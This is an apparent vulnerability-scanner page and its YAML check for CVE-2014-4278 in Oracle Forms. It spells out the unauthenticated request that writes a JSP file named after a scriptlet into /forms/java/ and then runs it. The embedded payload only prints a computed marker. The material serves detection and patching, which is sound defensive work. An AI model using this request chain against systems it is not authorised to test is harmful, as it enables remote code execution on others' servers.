Oracle Forms — 1 vulnerability check

noctis ships 1 vulnerability check for Oracle Forms, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Oracle Forms Listener Servlet Unauthenticated JSP Code Execution

CVECVE-2014-4278
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, sleep, match · highest QoD 97
Feedtests/vulnerabilities/oracle-forms/CVE-2014-4278.yaml

Detects Oracle Forms 10g and the Oracle Forms component of Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4, whose Forms Listener Servlet (/forms/lservlet) passes the unchecked ifip parameter of the getinfo command to the Forms runtime, which takes part of it as the name of its log file. An unauthenticated client can therefore write a log file named like a JSP page into the web-served /forms/java/ folder, and because the log quotes its own file name, the code in that name runs when the page is requested. After checking that /forms/lservlet answers as the Forms Listener Servlet, the test sends a getinfo command whose log file is /forms/java/ plus a name holding a small JSP expression, waits one second, then requests that page. The expression prints the sum of two random numbers chosen for this run. The finding is reported only when the computed sum comes back, which proves code execution; a server that returns the log text without running it is not reported. The probe leaves one small log file in the Forms java directory ($ORACLE_HOME/forms/java), whose name starts with <%="NOCTIS and is given in the finding so it can be removed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /forms/lservlet
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&i…
  5. HTTP(S) request GET /forms/java/{{g.jsp}}
  6. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: Oracle Forms Listener Servlet Unauthenticated JSP Code Execution (CVE-2014-4278)

References:

Feed source — tests/vulnerabilities/oracle-forms/CVE-2014-4278.yaml
# Oracle Forms 10g / Oracle E-Business Suite 12.0.6-12.2.4 — Forms Listener
# Servlet unauthenticated JSP write (CVE-2014-4278, Oracle CPU October 2014,
# NetSPI advisory by Khai Tran).
#
# Ported from OpenVAS/Greenbone NVT
#   2014/gb_oracle_forms_rce_70475.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105115, GPL-2.0-only)
#
# /forms/lservlet?ifcmd=getinfo&ifip=<ip>,<logfile> starts a frmweb process
# whose command line ("webfile=HTTP-0,0,0,em_mode,<ifip>") takes the text after
# the comma as its log file name, relative to the forms directory. The log
# starts with "Server Log Filename: <name>", so writing it to
# ./java/<scriptlet>.jsp drops a JSP into the web-served /forms/java/ folder
# whose own name is the code it runs.
#
# Detection:
#   1. GET /forms/lservlet must look like the Forms Listener Servlet
#      ("Forms Services" / "Listener servlet is up"), as in the NASL — nothing
#      is written to other servers.
#   2. GET /forms/lservlet?ifcfs=/forms/frmservlet?...&ifcmd=getinfo&ifip=
#      127.0.0.1,./java/<jsp> (request shape from the NASL).
#   3. After 1 s (frmweb writes its log asynchronously), GET
#      /forms/java/<jsp>. The JSP expression prints NOCTIS<a+b>END — the sum
#      of two per-run random numbers, never in the file name or the log text,
#      so a server that only stores and returns the log as plain text is not
#      reported. QoD 97.
#
# frmweb refuses whitespace (NetSPI), and the OC4J JSP translator turns every
# non-identifier character of the page name into a longer escape for the
# generated class file name, so the name is kept as short as the NASL's
# (<%="NOCTIS"+(a+b)+"END"%>.jsp, ~30 bytes). A self-deleting variant needed
# ~200 bytes and could exceed the 255-byte file name limit once escaped; it
# was also unreliable because /forms/java is an OC4J virtual directory whose
# getRealPath may not point at $ORACLE_HOME/forms/java. The file stays on the
# target, like the NASL's: the finding names it so it can be removed.
#
# Better than the NASL: the NASL's marker is a fixed "42" from Byte.decode and
# it stops unless the getinfo reply quotes a jsessionid; this feed uses a
# per-run computed sum and lets the JSP result alone decide.
uid: e0ae8410-d01c-4b48-a381-197eedb8ac9c
name: "Oracle Forms Listener Servlet Unauthenticated JSP Code Execution (CVE-2014-4278)"
description: |
  Detects Oracle Forms 10g and the Oracle Forms component of Oracle E-Business
  Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4, whose Forms Listener Servlet
  (/forms/lservlet) passes the unchecked ifip parameter of the getinfo command
  to the Forms runtime, which takes part of it as the name of its log file. An
  unauthenticated client can therefore write a log file named like a JSP page
  into the web-served /forms/java/ folder, and because the log quotes its own
  file name, the code in that name runs when the page is requested.
  After checking that /forms/lservlet answers as the Forms Listener Servlet,
  the test sends a getinfo command whose log file is /forms/java/ plus a name
  holding a small JSP expression, waits one second, then requests that page.
  The expression prints the sum of two random numbers chosen for this run.
  The finding is reported only when the computed sum comes back, which proves
  code execution; a server that returns the log text without running it is
  not reported. The probe leaves one small log file in the Forms java
  directory ($ORACLE_HOME/forms/java), whose name starts with <%="NOCTIS and
  is given in the finding so it can be removed.
cves: [CVE-2014-4278]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [oracle, oracle-forms, oracle-ebs, e-business-suite, lservlet, frmweb, jsp, file-write, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4278"
  - "https://www.oracle.com/security-alerts/cpuoct2014verbose.html"
  - "https://www.netspi.com/blog/technical-blog/web-application-pentesting/advisory-oracle-forms-10g-unauthenticated-remote-code-execution-cve-2014-4278/"

steps:
  # Per-run operands; the JSP file name is the JSP expression itself,
  # percent-encoded for the query string and the URL path alike.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let jsp = "%3C%25%3D%22NOCTIS%22%2B(" + a + "%2B" + b + ")%2B%22END%22%25%3E.jsp";
      #{ jsp: jsp, marker: "NOCTIS" + (a + b) + "END",
         file: "<%=\"NOCTIS\"+(" + a + "+" + b + ")+\"END\"%>.jsp" }
    store_as: g

  - id: init_ls
    action: set_var
    var_name: ls
    var_value: false

  - id: init_up
    action: set_var
    var_name: up
    var_value: false

  - id: init_run
    action: set_var
    var_name: run
    var_value: false

  # ── 1. Forms Listener Servlet fingerprint (no write elsewhere) ───────────
  - id: lservlet
    action: http_request
    method: GET
    path: "/forms/lservlet"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ls

  - id: is_forms
    action: script
    code: |
      type_of(ls) == "map" && ls.status == 200
        && (stridx(ls.body, "Forms Services") >= 0 || stridx(ls.body, "Listener servlet is up") >= 0)
    store_as: up

  # ── 2. getinfo with the log file set to ./java/<jsp> ─────────────────────
  - id: getinfo
    action: http_request
    method: GET
    path: "/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/{{g.jsp}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "up == true"
    store_as: gi

  - id: settle
    action: sleep
    duration_ms: 1000
    condition: "up == true"

  # ── 3. Request the log as a JSP: the computed sum proves it ran ──────────
  - id: run_jsp
    action: http_request
    method: GET
    path: "/forms/java/{{g.jsp}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "up == true"
    store_as: run

  - id: proof
    action: match
    condition: "up == true && type_of(run) == \"map\" && run.status == 200 && stridx(run.body, g.marker) >= 0"
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    on_match:
      finding:
        title: "Oracle Forms Listener Servlet Unauthenticated JSP Code Execution (CVE-2014-4278)"
        description: "The Oracle Forms Listener Servlet let an unauthenticated getinfo command name the Forms runtime log file /forms/java/<name>.jsp. The log quotes its own name, and requesting it ran the JSP scriptlet held in that name: the page returned the sum of two per-run random numbers, which appears nowhere in the request. The probe file stays on the server and should be removed."
        remediation: "Apply the Oracle Critical Patch Update of October 2014 to Oracle E-Business Suite. Oracle Forms 10g received no fix: upgrade to Oracle Forms 11g or later, and meanwhile block /forms/lservlet requests with an ifip parameter at the web tier."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET /forms/java/{{g.jsp}} returned {{g.marker}} (computed by the JSP, not in the request); remove the probe file {{g.file}} from $ORACLE_HOME/forms/java"

View these feeds on GitHub